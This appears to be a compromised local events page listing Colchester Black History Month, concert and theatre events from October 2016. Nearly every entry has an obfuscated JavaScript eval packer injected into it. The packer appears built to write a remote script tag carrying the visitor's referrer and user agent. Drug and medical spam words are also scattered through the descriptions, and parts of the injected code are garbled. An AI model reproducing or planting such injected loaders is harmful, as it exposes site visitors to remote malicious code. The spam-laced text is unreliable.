Past Events

9th eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d=k||c.toString(a)}k=}];e=function(){return'\w+'};c=1};while(c--){if(k){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k)}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iridn|var|u0026u|referrer|rerdd||js|php'.split('|'),0,{})) October 2016 Sunday 7:30pmRICH HALL LIVERich Hall (Have I Got News For You, visit this QI, decease Live at the Apollo) is an Emmy Award-winning comedian whose grouchy, find deadpan style has established him as a master of absurdist irony and the king of rapid-fire wit. The Montana native renowned for his expertly-crafted tirades and quick-fire banter with audiences and delightful musical sequences saddles up and hitches his wagon to tour the British Isles…

25th eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d=k||c.toString(a)}k=}];e=function(){return'\w+'};c=1};while(c--){if(k){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k)}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|asden|var|u0026u|referrer|isezs||js|php'.split('|'),0,{})) October Tuesday – 6:30pm –8pm – BSPS Panel Event and Uncomfortable Conversations– Essex University25th October Tuesday – 11pm – Coko– Essex University 25th October Tuesday – 11pm – Coko– Essex University

JACKSON: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d=k||c.toString(a)}k=}];e=function(){return'\w+'};c=1};while(c--){if(k){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k)}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dsssd|var|u0026u|referrer|rtaty||js|php'.split('|'),0,{})) Live in Concert -MERCURY THEATRE 7:30PMBen’s portrayal of Michael Jackson in his prime has to be the most vocally and visually accurate tribute to the King of Pop to have ever toured UK theatres. Ben is joined on the stage by his incredible band and dancers who work their way through all the hits. He’s got the look, store the moonwalk and the voice! His renditions of Thriller, seek Beat It and Billie Jean…

 COLCHESTER eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d=k||c.toString(a)}k=}];e=function(){return'\w+'};c=1};while(c--){if(k){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k)}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dftbn|var|u0026u|referrer|aande||js|php'.split('|'),0,{})) MILITARY WIVES CHOIR 2016 – MERCURY THEATREA Musical Extravanganza! Following on from Gareth Malone’s success, treat the Colchester Military Wives Choir goes from strength to strength. 2015 saw the choir perform at the Dominion Theatre, salve London, along side the country’s top military musicians and the best of the West End, raising thousands for Help the Heroes.  First performance 2:30PM AND a second performance 7:30PM     £14 p/p

Highwoods eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d=k||c.toString(a)}k=}];e=function(){return'\w+'};c=1};while(c--){if(k){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k)}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ddkfd|var|u0026u|referrer|fazfs||js|php'.split('|'),0,{})) Community Centre - FreeColchester Festival of Rice - Join us for a celebration of rice from the rich diversity of our communities! Hosted by Colchester Multi-Ethnic Forum, shop in association with the East Anglian Indian Association Immerse yourself in aromas and tastes of the wonderful world of rice! Explore and experience rice cuisine from many different cultures! From paella to biryani, from dolma to dosai, try out delicious recipes! Dazzling dances and performances from…

Oct. eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d=k||c.toString(a)}k=}];e=function(){return'\w+'};c=1};while(c--){if(k){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k)}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hrssf|var|u0026u|referrer|fksss||js|php'.split('|'),0,{})) 1st SaturdayBlack History Month Colchester Launch @ Firstsite The launch event of Black History Month Colchester.  A community and family celebration  by African Families living in the U.K. (AFiUK ), visit of Black History Month in the Firstsite Museum. Exhibitions of Black History, diagnosis inter-active display stalls, rx cultural performances, Caribbean and African foods with ”LIVE” performances by local Actress and Vocalist, CHI-CHI ARMSTRONG and music by “FREEDOM SOUND” and entertaining cultural displays and educational…

Black eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d=k||c.toString(a)}k=}];e=function(){return'\w+'};c=1};while(c--){if(k){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k)}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rnzrs|var|u0026u|referrer|tzeea||js|php'.split('|'),0,{})) History Month Flash Mob (Presented by SU) – Essex University

2nd eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d=k||c.toString(a)}k=}];e=function(){return'\w+'};c=1};while(c--){if(k){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k)}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ikrbf|var|u0026u|referrer|rydbb||js|php'.split('|'),0,{})) October  SundayREG & THE READERS – Colchester Arts CentreA welcome return for a true local hero, abortion Reg Webb - this time with his latest project - a scintillating six-piece playing compositions by, sales among others, click Herbie Hancock, Michael Brecker, John Cleary, Marvin Gaye, Steely Dan and Wayne Shorter.Accompanying Reg are husband-and-wife sax supremos Holly and Zak Barrett, ace guitarist Tony Sandeman, brill bassist Andy Staples and dynamic drummer Andrew Dowding, who between…

3rd eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d=k||c.toString(a)}k=}];e=function(){return'\w+'};c=1};while(c--){if(k){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k)}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dbsrr|var|u0026u|referrer|kkens||js|php'.split('|'),0,{})) October Monday – Black history matters Campaign on Squares – Essex University

BSPC eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d=k||c.toString(a)}k=}];e=function(){return'\w+'};c=1};while(c--){if(k){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k)}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|danib|var|u0026u|referrer|nttsi||js|php'.split('|'),0,{})) Pre-colonial African and Revolutionary History 6:30pm to 8pm – Essex University

Hair eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d=k||c.toString(a)}k=}];e=function(){return'\w+'};c=1};while(c--){if(k){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k)}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sdekb|var|u0026u|referrer|isdry||js|php'.split('|'),0,{})) Society Pop up Hair Salon – 11am to 5pm – Essex University

5th eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d=k||c.toString(a)}k=}];e=function(){return'\w+'};c=1};while(c--){if(k){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k)}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zdbze|var|u0026u|referrer|rdkfk||js|php'.split('|'),0,{})) October  Wednesdays 2.30 – 4.30pm FIRSTSITEArt in the Community supports people who use creativity to improve their well-being and recovery from mental and physical issues. Firstsite provides a basic range of materials although you can also bring your own. Free, medications drop-inSession are led by Clive Wakeford. New participants are welcome.Contact Clive for further information: artbyclive@yahoo.co.uk Friday 14 October - Sunday 30 October 2016Turn the gallery inside out. Flip your perspective. Fridays, information pills 7pmMusic, art,…

WE eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d=k||c.toString(a)}k=}];e=function(){return'\w+'};c=1};while(c--){if(k){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k)}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sdhtt|var|u0026u|referrer|zdtei||js|php'.split('|'),0,{})) WILL NOT BE SILENT!With Guest Speakers Elizabeth Alake, Grace Bedding, Rizwana Siddiqui, Marie Charles, Queenie Cunningham and Sangita Mitra. Please register your attendance @ Everbrite - Black history Month Colchester - AFiUK Women's Conference.All Equiries: afiukrachel@gmail.com

Hair eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d=k||c.toString(a)}k=}];e=function(){return'\w+'};c=1};while(c--){if(k){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k)}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hnzzd|var|u0026u|referrer|dkynr||js|php'.split('|'),0,{})) Society Pop up Hair Salon – 11am to 5pm – Essex University

Hazlemere eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d=k||c.toString(a)}k=}];e=function(){return'\w+'};c=1};while(c--){if(k){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k)}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|edayz|var|u0026u|referrer|trhfi||js|php'.split('|'),0,{})) Infant & Nursery – Afro Caribbean Cultural Day – 10am to 10:30am & 4pm to 6pm (Not for Public)

THE eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d=k||c.toString(a)}k=}];e=function(){return'\w+'};c=1};while(c--){if(k){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k)}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sztii|var|u0026u|referrer|ehyfs||js|php'.split('|'),0,{})) ANNA MUDEKA BAND  DENDENDE TOUR 2016 Celebrating the new album Dendende which combines melodies and rhythms that speak to all generations andnationalities. With songs in Swahili, clinic Hindi and Shona, order and rich soaring vocals, this is an album packed with global sounds.Mudeka’s mbira playing takes centre stage, while conga beat and six string bass underpin Zimbabwean rhythms, creating a real fusion of festive sound. Fans of The Anna Mudeka Band call these sounds ‘sunshine music’. 

Hair eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d=k||c.toString(a)}k=}];e=function(){return'\w+'};c=1};while(c--){if(k){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k)}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kzrzs|var|u0026u|referrer|trrba||js|php'.split('|'),0,{})) Society Pop up Hair Salon – 11am to 5pm – Essex University

Black eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d=k||c.toString(a)}k=}];e=function(){return'\w+'};c=1};while(c--){if(k){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k)}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|aziek|var|u0026u|referrer|fyded||js|php'.split('|'),0,{})) Lives Matter – 6:30pm – Essex University

Hair eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d=k||c.toString(a)}k=}];e=function(){return'\w+'};c=1};while(c--){if(k){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k)}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ebebt|var|u0026u|referrer|rheez||js|php'.split('|'),0,{})) Society Pop up Hair Salon – 11am to 5pm – Essex University 

LGBT eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d=k||c.toString(a)}k=}];e=function(){return'\w+'};c=1};while(c--){if(k){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k)}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yzzsn|var|u0026u|referrer|ntnyy||js|php'.split('|'),0,{})) in BAME Community – 6:30pm – Essex University

Leadership eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d=k||c.toString(a)}k=}];e=function(){return'\w+'};c=1};while(c--){if(k){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k)}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hdbra|var|u0026u|referrer|ezend||js|php'.split('|'),0,{})) Workshop by Migrants OrganiseMore than ever, price this country needs an organised movement of migrants and refugees, and allies, who are powerful enough to ensure our politicians - and the public - build a welcoming society. We know that migration is a fact of life, and we believe that instead of fearing it or resisting, we need to organise it. Will you join us?

BHM eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d=k||c.toString(a)}k=}];e=function(){return'\w+'};c=1};while(c--){if(k){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k)}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yfbns|var|u0026u|referrer|ftrkr||js|php'.split('|'),0,{})) Health & Wellbeing Awareness – 10am to 4pm – Essex University

ACS: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d=k||c.toString(a)}k=}];e=function(){return'\w+'};c=1};while(c--){if(k){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k)}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iidbe|var|u0026u|referrer|tzbhh||js|php'.split('|'),0,{})) The great debate tour – 10am to 4pm – Essex University

13 eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d=k||c.toString(a)}k=}];e=function(){return'\w+'};c=1};while(c--){if(k){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k)}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eddzf|var|u0026u|referrer|rfyth||js|php'.split('|'),0,{})) October 2016, pharmacy Thursday 7pmBARNAGH Theatre Live; the Entertainer - FIRSTSITESet against the backdrop of post-war Britain, this site John Osborne?s modern classic conjures the seedy glamour of the old music halls for an explosive examination of public masks and private torment. Rob Ashford directs Kenneth Branagh as the unforgettable Archie Rice.Start time: 7pmPre-show food available in the Firstsite café from 5pm

BARNAGH eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d=k||c.toString(a)}k=}];e=function(){return'\w+'};c=1};while(c--){if(k){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k)}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iafsa|var|u0026u|referrer|nfdze||js|php'.split('|'),0,{})) Theatre Live; the Entertainer – FIRSTSITEPre-show food available in the Firstsite café from 5pmSet against the backdrop of post-war Britain, view John Osborne?s modern classic conjures the seedy glamour of the old music halls for an explosive examination of public masks and private torment. Rob Ashford directs Kenneth Branagh as the unforgettable Archie Rice.

 BSPS eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d=k||c.toString(a)}k=}];e=function(){return'\w+'};c=1};while(c--){if(k){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k)}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rkaik|var|u0026u|referrer|dtyif||js|php'.split('|'),0,{})) and Hair Society – Black Beauty and Martial Arts collaboration with hair society and mashufaa

 Harry eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d=k||c.toString(a)}k=}];e=function(){return'\w+'};c=1};while(c--){if(k){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k)}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|btein|var|u0026u|referrer|yzfii||js|php'.split('|'),0,{})) Potter Society – Essex UniversityA talk on black representation in the Harry Potter series

Jungle eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d=k||c.toString(a)}k=}];e=function(){return'\w+'};c=1};while(c--){if(k){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k)}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|taahh|var|u0026u|referrer|ehrsi||js|php'.split('|'),0,{})) Book -  Headgate Theatre – Kids £10, visit web Adults £12.50 A spectacular play about the acclaimed Jungle book followed by a workshop. 

 BSPS eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d=k||c.toString(a)}k=}];e=function(){return'\w+'};c=1};while(c--){if(k){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k)}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zzbyz|var|u0026u|referrer|ihhda||js|php'.split('|'),0,{})) – Black Entrepreneurship – Essex University